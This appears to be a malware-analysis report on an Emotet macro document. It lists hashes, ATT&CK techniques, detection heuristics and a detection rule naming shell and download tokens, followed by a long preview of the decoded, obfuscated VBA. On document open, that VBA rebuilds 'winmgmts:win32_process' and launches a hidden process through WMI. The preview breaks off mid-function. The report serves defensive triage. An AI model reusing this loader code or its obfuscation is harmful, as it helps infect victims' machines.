Emotet — Office (OLE) / .DOCX malware analysis

Static analysis result for SHA-256 615c56cc17f59eb0…

MALICIOUS

Office (OLE) / .DOCX

194.4 KB Created: 2020-09-22 04:18:00 Authoring application: Microsoft Office Word First seen: 2026-05-14
MD5: d742d8347fced8065ab6e9732032c032 SHA-1: 9c942496a3b02c7ae5389f041d7448d0138cda57 SHA-256: 615c56cc17f59eb078578e1e87284456a83a3ed4427b94dc1698828f278148fa
212 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro that utilizes CreateObject and GetObject calls, indicative of malicious intent. Heuristics and ClamAV detection strongly suggest the Emotet family. The VBA code appears obfuscated, and its primary function is likely to download and execute a secondary payload, a common Emotet tactic.

Heuristics 8

  • ClamAV: Doc.Malware.Emotet-9764756-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9764756-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Rnqp4lok5fdsqyw = CreateObject(W_l320b2a1jam)
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Ynmjy3ptfa86p = GetObject(Wbglg2hp7vrm58)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19032 bytes
SHA-256: 3b0af88f4dd9c23a17bbdbbca50e89a637a2364695c54b84b34b6c26baade961
Detection
ClamAV: No threats found
Obfuscation or payload: likely
239 of 361 identifiers look randomly generated (e.g. 'L262awneevp71Fyzlop91wybtow') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Yrqashf6v9k"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Tm3t09narkm2 = Array(Jgbhwq7ws0d7c + "L262awneevp71Fyzlop91wybtow Jzx8w9kwtmf8j" + L312po5k3sx, Seh1rh36284_d, Qy2no695lym5thm.J95324x1sn47ag, Ycf_iszzf7l4_hq + "Xejjhfo569f Hu_2x8q3f4jezb Ioziupy_y16l4yleln Kw8vfd3y0e6fu")
End Sub

Attribute VB_Name = "Qy2no695lym5thm"
Attribute VB_Base = "0{D817A6FB-5B66-4FFF-8EEA-DE491D2E1A78}{216A62B5-CDD0-4639-B12E-3EF3322D6250}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function J95324x1sn47ag()
On Error Resume Next
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Cwjql707pzalgy77, 196, 1)
dYvJsnjw = Mid _
(Rice22h21axjqvqv, 212, 1)
BiHOVG = Mid _
(S1wl6rznrlch8u127, 35, 1)
GQJzwq = Mid _
(Y3un6bzv6lw_ev2l0f, 34, 1)
WKcaSvfi = Mid _
(I43o3jqet4r9t, 9, 1)
lsFUF = Mid _
(Rs4lm7vxjwn3sgs, 240, 1)
VAwYHAcv = Mid _
(Pvvrudgo4dp8f3, 20, 1)
hNfbEKURZVE = Mid _
(Kcqqc0awkz1ugb, 179, 1)
wYVOV = Mid _
(Ujxch7ncawmptiqyrr, 190, 1)
mLdZb = Mid _
(Yzb2ptv_k35t, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(J4mfkdvsb_p, 33, 1)
zmlHaKIVkFA = Mid _
(Stsn5bjc0cl1shux8, 168, 1)
UCPVYn = Mid _
(Hgcmc28loo8, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(X1x9z_dwq2vrbksx, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
Kcyj0dqnmeo8vl = 90
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Cu0plneyhcztg7m, 196, 1)
dYvJsnjw = Mid _
(Efiu1qgchez, 212, 1)
BiHOVG = Mid _
(Xjtzm2u27u3v91, 35, 1)
GQJzwq = Mid _
(G45_b2zfx7n5xo7hhy, 34, 1)
WKcaSvfi = Mid _
(T9uagpmvfxoyx_r9, 9, 1)
lsFUF = Mid _
(Kfy2hd74_98na, 240, 1)
VAwYHAcv = Mid _
(P8k0a14xuzfut, 20, 1)
hNfbEKURZVE = Mid _
(F25gqw4ca8u6, 179, 1)
wYVOV = Mid _
(Fhrpiek43mbrhr2v, 190, 1)
mLdZb = Mid _
(Pyvxvje28put8nogbv, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(Ck9pjqqo3ziecr, 33, 1)
zmlHaKIVkFA = Mid _
(I7jaw0nzl11, 168, 1)
UCPVYn = Mid _
(W0xlg8lszyjmh, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(Wmcykrb6bt9a, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
G9wr6vbsg0dl7pyq = Sfcseoaapl2z + Chr$(Kcyj0dqnmeo8vl + (25))
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Moz__jk8usb_, 196, 1)
dYvJsnjw = Mid _
(H9hkydc29y59aoshut, 212, 1)
BiHOVG = Mid _
(J0qqdebkuga9, 35, 1)
GQJzwq = Mid _
(R1246g140qu1, 34, 1)
WKcaSvfi = Mid _
(A0731_04w96segw4t, 9, 1)
lsFUF = Mid _
(X2yjlxzmn5ppt71, 240, 1)
VAwYHAcv = Mid _
(Cco3qa0nc48l, 20, 1)
hNfbEKURZVE = Mid _
(Ad_p7x_i3yicnxfo, 179, 1)
wYVOV = Mid _
(K038duo3e84k, 190, 1)
mLdZb = Mid _
(N2own1paxj2_, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(Kgzdn4_7o9t59, 33, 1)
zmlHaKIVkFA = Mid _
(Py21h9vgsz3kq0h, 168, 1)
UCPVYn = Mid _
(Sb83gicbt_lld573p, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(Vm8tuc1izald, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
Yd4od2m7utaf8 = "g, bq,g, bq,wg, bq,ig, bq,nmg, bq,g, bq,gmg, bq,tg, bq,g, bq," + G9wr6vbsg0dl7pyq + "g, bq,g, bq,:g, bq,wg, bq,ing, bq,g, bq,3g, bq,2g, bq,_g, bq," + Qy2no695lym5thm.H2zsjux_2vtwi + "g, bq,rog, bq,g, bq,ceg, bq,sg, bq,sg, bq,"
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(X53b_ddp4s_, 196, 1)
dYvJsnjw = Mid _
(Pmyvcpeurydy6fnw4, 212, 1)
BiHOVG = Mid _
(Wngso4zvo3goyji, 35, 1)
GQJzwq = Mid _
(Se4v94izxh2eg61, 34, 1)
WKcaSvfi = Mid _
(Qjxwvd967samoc, 9, 1)
lsFUF = Mid _
(Vqjpi5ixcfr, 240, 1)
VAwYHAcv = Mid _
(Fcvoubz3owxaxh9zp, 20, 1)
hNfbEKURZVE = Mid _
(Wluh8z8pryoxvqdi1, 179, 1)
wYVOV = Mid _
(Hdqkzlwi5j4b7thkj, 190, 1)
mLdZb = Mid _
(Iaf8rfvan3bg, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(Ksfolmvwjvz7ywq36p, 33, 1)
zmlHaKIVkFA = Mid _
(F991xoxk1y95g, 168, 1)
UCPVYn = Mid _
(Jpu2f79yubqrb5uf, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(Nm20_r3t_zc79, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
W_l320b2a1jam = K04c1rtg0qxf(Yd4od2m7utaf8)
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(N8jcu9ie5uns1, 196, 1)
dYvJsnjw = Mid _
(Evgtlomhwzci3nk5, 212, 1)
BiHOVG = Mid _
(Huse4q9judeoip7, 35, 1)
GQJzwq = Mid _
(Wp8hdu90klu_mg76, 34, 1)
WKcaSvfi = Mid _
(Bc0hwnfjk2ki5nkgr8, 9, 1)
lsFUF = Mid _
(Kxp2xt5s799oijohm9, 240, 1)
VAwYHAcv = Mid _
(Gb2054x2r9k46k8, 20, 1)
hNfbEKURZVE = Mid _
(Jxmmy47jlmnc0q, 179, 1)
wYVOV = Mid _
(Yj0x8xyv9_4n, 190, 1)
mLdZb = Mid _
(Pecel5avaw6rgsx, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(Lv4a2mu8xa5zbo, 33, 1)
zmlHaKIVkFA = Mid _
(Wplyhjj2fpw8y, 168, 1)
UCPVYn = Mid _
(E2fbdspam4j, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(Erl_mtxj0b65qih, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
Set Rnqp4lok5fdsqyw = CreateObject(W_l320b2a1jam)
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Mtcfsymomdcwls, 196, 1)
dYvJsnjw = Mid _
(Wv0z2o5psubbg, 212, 1)
BiHOVG = Mid _
(X327h7hvyg2zx_v, 35, 1)
GQJzwq = Mid _
(Cbwvs66py_yduwq, 34, 1)
WKcaSvfi = Mid _
(E7qll2exfj940c3, 9, 1)
lsFUF = Mid _
(Waqapvab8mhhhebc2, 240, 1)
VAwYHAcv = Mid _
(N3tjgn8_qi8, 20, 1)
hNfbEKURZVE = Mid _
(Mvi5iufpgv6, 179, 1)
wYVOV = Mid _
(K_t8pai7c6ualv, 190, 1)
mLdZb = Mid _
(Beqe4e66w_o7s8l99, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(C6h6aupabawbhsx1cl, 33, 1)
zmlHaKIVkFA = Mid _
(Lckue88bf2029wdh, 168, 1)
UCPVYn = Mid _
(Qid813c5jv37i36_, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(M65kc0dtkjdk, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
Tp9qhx1gf07ik9pc = C5py5b5umtf + W_l320b2a1jam + G9wr6vbsg0dl7pyq + Qy2no695lym5thm.Z0xnmoy7u3y_17ra + Qy2no695lym5thm.Krbuj8qd3hj_r23l
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Zt0l67rsvhql3, 196, 1)
dYvJsnjw = Mid _
(Elgqtuje0nnz, 212, 1)
BiHOVG = Mid _
(Woxb_bhabw6517hov, 35, 1)
GQJzwq = Mid _
(L4no7qs65b6uw0fdve, 34, 1)
WKcaSvfi = Mid _
(Erjuif1mx4zc1nq88p, 9, 1)
lsFUF = Mid _
(Nhtehffr_8yxkc, 240, 1)
VAwYHAcv = Mid _
(Lphifife7cf0eh, 20, 1)
hNfbEKURZVE = Mid _
(Bjydw2xnbpdz, 179, 1)
wYVOV = Mid _
(L0gpaj9a1ykjncyc, 190, 1)
mLdZb = Mid _
(Eak66p0hq14, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(D5cupz97206, 33, 1)
zmlHaKIVkFA = Mid _
(Dmwo5jz_k_ico, 168, 1)
UCPVYn = Mid _
(Ouhhuue0u6iz9n1gmi, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(A1s5vnhb53gw, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
Set R3hvew4xh_n8mt8 = Ynmjy3ptfa86p(Tp9qhx1gf07ik9pc + Qy2no695lym5thm.H2zsjux_2vtwi)
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(C3ocxbyb45apt8w, 196, 1)
dYvJsnjw = Mid _
(B8w4gcrwmygxr41s5w, 212, 1)
BiHOVG = Mid _
(T_gzqg3bculu, 35, 1)
GQJzwq = Mid _
(Q0xzb2qal4107bu, 34, 1)
WKcaSvfi = Mid _
(Csv82698hgx, 9, 1)
lsFUF = Mid _
(Apbbeyatfbrdgf, 240, 1)
VAwYHAcv = Mid _
(Fq2vehb0c2x33a, 20, 1)
hNfbEKURZVE = Mid _
(M7eb_72z6iab6cas, 179, 1)
wYVOV = Mid _
(Po2qrvsg_q_lr7is, 190, 1)
mLdZb = Mid _
(Ov_efuq37negh7, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(G9gokkalw6a, 33, 1)
zmlHaKIVkFA = Mid _
(Tonm4tqtqsvq5k, 168, 1)
UCPVYn = Mid _
(Pioa4u9cuz6heukn, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(Dezntaly3nw2m, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
Rnqp4lok5fdsqyw.Create X8baw0lbcd5ptfq, Sghe8xempheys0jke, R3hvew4xh_n8mt8
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Lwap6ojn6esgz, 196, 1)
dYvJsnjw = Mid _
(Awyxd279_8ns2k, 212, 1)
BiHOVG = Mid _
(W1av572gvq5k2, 35, 1)
GQJzwq = Mid _
(A82tnbez1izst, 34, 1)
WKcaSvfi = Mid _
(Dbmy0a_psw6wjpd, 9, 1)
lsFUF = Mid _
(Hrev9aw0njih, 240, 1)
VAwYHAcv = Mid _
(U7lnectdgl2owpfz23, 20, 1)
hNfbEKURZVE = Mid _
(Ot0io9zepok144q1, 179, 1)
wYVOV = Mid _
(Njfnvdefohmvrjxr, 190, 1)
mLdZb = Mid _
(Qq5x9pq9e18w0vf, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(Kfswmaq5da2mt0fy, 33, 1)
zmlHaKIVkFA = Mid _
(Gga7dw51pqoi, 168, 1)
UCPVYn = Mid _
(Lwg7bee6gw__u9y, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(Kgujnzpf6mu, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
End Function
Function Ynmjy3ptfa86p(Wbglg2hp7vrm58)
On Error Resume Next
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Wsk9jjxo59ewhqcp5, 196, 1)
dYvJsnjw = Mid _
(Cstmwziajjgem8, 212, 1)
BiHOVG = Mid _
(Xz9zl5x2wsw, 35, 1)
GQJzwq = Mid _
(Dcdxv4narkt8w1i_o, 34, 1)
WKcaSvfi = Mid _
(Svitk2f1syr2, 9, 1)
lsFUF = Mid _
(Va6c0gxwl_7wxgbdwv, 240, 1)
VAwYHAcv = Mid _
(Jo4aww3ms6kzu1m1, 20, 1)
hNfbEKURZVE = Mid _
(Txk53wowm9yvdx8c5o, 179, 1)
wYVOV = Mid _
(A_irg5e2bkl7krf, 190, 1)
mLdZb = Mid _
(Yl5w4opkze3oi, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(Q2l4y7sgd_x6nl, 33, 1)
zmlHaKIVkFA = Mid _
(Bne9k03_42x, 168, 1)
UCPVYn = Mid _
(Z3cc2tyyvvr4k63, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(V_9bdjx2xq0p, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
Set Ynmjy3ptfa86p = GetObject(Wbglg2hp7vrm58)
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Njmwziq55jzrv3r7w, 196, 1)
dYvJsnjw = Mid _
(Mu1e4mi2iic70s, 212, 1)
BiHOVG = Mid _
(Nc_rinhlfret, 35, 1)
GQJzwq = Mid _
(M57ui3o2coqan0, 34, 1)
WKcaSvfi = Mid _
(F20kgmc1ron, 9, 1)
lsFUF = Mid _
(Hjuyz44ipmt, 240, 1)
VAwYHAcv = Mid _
(Feoqyur7ohdpt5md, 20, 1)
hNfbEKURZVE = Mid _
(Cpf7zers23hu2v, 179, 1)
wYVOV = Mid _
(Fldc0wb89szdgfe6r1, 190, 1)
mLdZb = Mid _
(I8n3sa8993jlxwhgh, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(Ge5cshnablnw8269, 33, 1)
zmlHaKIVkFA = Mid _
(Z6uvccydfyhbr, 168, 1)
UCPVYn = Mid _
(Z9ehv_jpgos0vvm7tq, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(Ijlyfgcf0ntg_uno, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
Ynmjy3ptfa86p. _
showwindow = wdKeyEquals - wdKeyEquals
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(K5s3e1sc9vzi8dgfv, 196, 1)
dYvJsnjw = Mid _
(Vaa27983e9i35aw, 212, 1)
BiHOVG = Mid _
(Gjsoyvguvronfc, 35, 1)
GQJzwq = Mid _
(G6evw2y9v7mwv5g3zx, 34, 1)
WKcaSvfi = Mid _
(W9yh8i6qfpuuxba, 9, 1)
lsFUF = Mid _
(X1p_yvl9sl_w2p111x, 240, 1)
VAwYHAcv = Mid _
(Zwyim3lstam1, 20, 1)
hNfbEKURZVE = Mid _
(O6jcjy5kw2zvji1, 179, 1)
wYVOV = Mid _
(R65_5aojrdhnc38gw, 190, 1)
mLdZb = Mid _
(B8fyqb49o70xdt, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(T6gs13uravgqri5, 33, 1)
zmlHaKIVkFA = Mid _
(N_6g5wbo4h7xsl6_y, 168, 1)
UCPVYn = Mid _
(H92z7yspfckwl1ubq, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(Gn4f441t780z2g31, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
End Function
Function K04c1rtg0qxf(Wz96c5wl4jb7f)
On Error Resume Next
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(T3f61pc9aw_njmpsj, 196, 1)
dYvJsnjw = Mid _
(Rxurkir1b40w5yn6, 212, 1)
BiHOVG = Mid _
(X425ywryi1f, 35, 1)
GQJzwq = Mid _
(Koav735hkr8oan, 34, 1)
WKcaSvfi = Mid _
(Zp4l_pkt1s5ab, 9, 1)
lsFUF = Mid _
(Ubtllxo0b98, 240, 1)
VAwYHAcv = Mid _
(R3p7n4kmsjqof_e, 20, 1)
hNfbEKURZVE = Mid _
(Hcc34dsqoc117ao7p, 179, 1)
wYVOV = Mid _
(Tte5fa1zvuwefm, 190, 1)
mLdZb = Mid _
(Oy06f3uj0slduqs, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(O_1iw1r9cbdt95j8o, 33, 1)
zmlHaKIVkFA = Mid _
(Impajzhjfl69, 168, 1)
UCPVYn = Mid _
(Gczbeqd95gb4, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(Rbmfjoznefq, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
Lbg334hx9d50 = CleanString(Wz96c5wl4jb7f)
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Q_dnub6puew, 196, 1)
dYvJsnjw = Mid _
(D1t_m1chzhgou_fv5z, 212, 1)
BiHOVG = Mid _
(O5zs9gd6njf17n2cec, 35, 1)
GQJzwq = Mid _
(Zp6hpp5z5v7, 34, 1)
WKcaSvfi = Mid _
(P6hcdqhv5j7z, 9, 1)
lsFUF = Mid _
(Nsla48bt11s1wkcerk, 240, 1)
VAwYHAcv = Mid _
(N_u7ykyx8rk2t, 20, 1)
hNfbEKURZVE = Mid _
(G79syay618ez, 179, 1)
wYVOV = Mid _
(Mffrm0wh0_wx2, 190, 1)
mLdZb = Mid _
(Gecp__vmpfw4, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(Pykx209gr3_93, 33, 1)
zmlHaKIVkFA = Mid _
(Yl7l798p1xrf14f2a7, 168, 1)
UCPVYn = Mid _
(Ratym7z404mdrhb, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(At526ng9ygvifa2, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
Foiq2d1zpgss24m9s9 = Split(Lbg334hx9d50, "g, bq,")
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Nv_z4d4xng2rav5v86, 196, 1)
dYvJsnjw = Mid _
(Y1h4v_6jc9_x7za, 212, 1)
BiHOVG = Mid _
(Z0olbp3yh4jq_1s, 35, 1)
GQJzwq = Mid _
(Ubbgl4p1951zn, 34, 1)
WKcaSvfi = Mid _
(W4_b6wturt0uv32, 9, 1)
lsFUF = Mid _
(Gmp166y6hguyni, 240, 1)
VAwYHAcv = Mid _
(Bkz9rq0773jusi3h, 20, 1)
hNfbEKURZVE = Mid _
(Zsvokyzaef5yc6gj, 179, 1)
wYVOV = Mid _
(Xj86k0krt9vlfwq_8, 190, 1)
mLdZb = Mid _
(Wyl3wa8mlfi58ckz, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(Nl41tk931d1_t, 33, 1)
zmlHaKIVkFA = Mid _
(Rfgmwtex899yfj, 168, 1)
UCPVYn = Mid _
(Atbrj9ye0lnoa88h, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(U2ty22ygi7p63, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
Gzjk3cp0m45670 = T9b7ck40v3zynw + Join(Foiq2d1zpgss24m9s9, Spi58szwnw713g74tp)
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(A10ao4mhip23, 196, 1)
dYvJsnjw = Mid _
(O0peuyi2neh, 212, 1)
BiHOVG = Mid _
(Tb9j786faqu204, 35, 1)
GQJzwq = Mid _
(Exj636tfqwav37q, 34, 1)
WKcaSvfi = Mid _
(P3wx2o9ns8xafpzg, 9, 1)
lsFUF = Mid _
(Dcddjpuh7ry6mcju, 240, 1)
VAwYHAcv = Mid _
(Z0mf34z8n6htab866, 20, 1)
hNfbEKURZVE = Mid _
(Vntlncp78ksg6oqm, 179, 1)
wYVOV = Mid _
(T5vmkph8umz7q3, 190, 1)
mLdZb = Mid _
(Mpqhjywk187, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(Kha5cywfbjlu9m, 33, 1)
zmlHaKIVkFA = Mid _
(U12_rtsyp0jc3f, 168, 1)
UCPVYn = Mid _
(Wpo_31uswh5w_id, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(G9j4v_8p79tw75w6as, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
K04c1rtg0qxf = Gzjk3cp0m45670
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Noh51rlvmhxmbwe, 196, 1)
dYvJsnjw = Mid _
(R483vbogfqey5, 212, 1)
BiHOVG = Mid _
(Dy88l5trydj3s9gwnr, 35, 1)
GQJzwq = Mid _
(Meyp80r_azjn, 34, 1)
WKcaSvfi = Mid _
(Unb_qekk4he5t5ur, 9, 1)
lsFUF = Mid _
(Ndysm6ria06, 240, 1)
VAwYHAcv = Mid _
(N4p2w_e7ggig7z8tw, 20, 1)
hNfbEKURZVE = Mid _
(D8tagg1fqsv2q, 179, 1)
wYVOV = Mid _
(Lqjp1c95qw5m, 190, 1)
mLdZb = Mid _
(Mwx00wx59mswibquw, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(L2c2qpr4uqlr9, 33, 1)
zmlHaKIVkFA = Mid _
(Vliu5uwf4ntd, 168, 1)
UCPVYn = Mid _
(Vrark5low42fhrfcg, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(Lpl49481czk9zhm, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
End Function
Function X8baw0lbcd5ptfq()
On Error Resume Next
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Qhx3lqq8azu, 196, 1)
dYvJsnjw = Mid _
(Zwdjyupnl89qe9, 212, 1)
BiHOVG = Mid _
(M3p8njpfmgb, 35, 1)
GQJzwq = Mid _
(Tc745bal8_2u, 34, 1)
WKcaSvfi = Mid _
(Xs42jgxoo0ev3gfv, 9, 1)
lsFUF = Mid _
(Tcwnykqeepewfs, 240, 1)
VAwYHAcv = Mid _
(Wkr3wpcap5o, 20, 1)
hNfbEKURZVE = Mid _
(Thc661piy0k, 179, 1)
wYVOV = Mid _
(Fnwf3t3iqd1r, 190, 1)
mLdZb = Mid _
(K_czchukgz9bvj82, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(J9aivi48j7bfy, 33, 1)
zmlHaKIVkFA = Mid _
(Mver2ntw220azzeh, 168, 1)
UCPVYn = Mid _
(Wsh14rr52j45l, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(Dtaprq4fn12gkk, 44, 1)
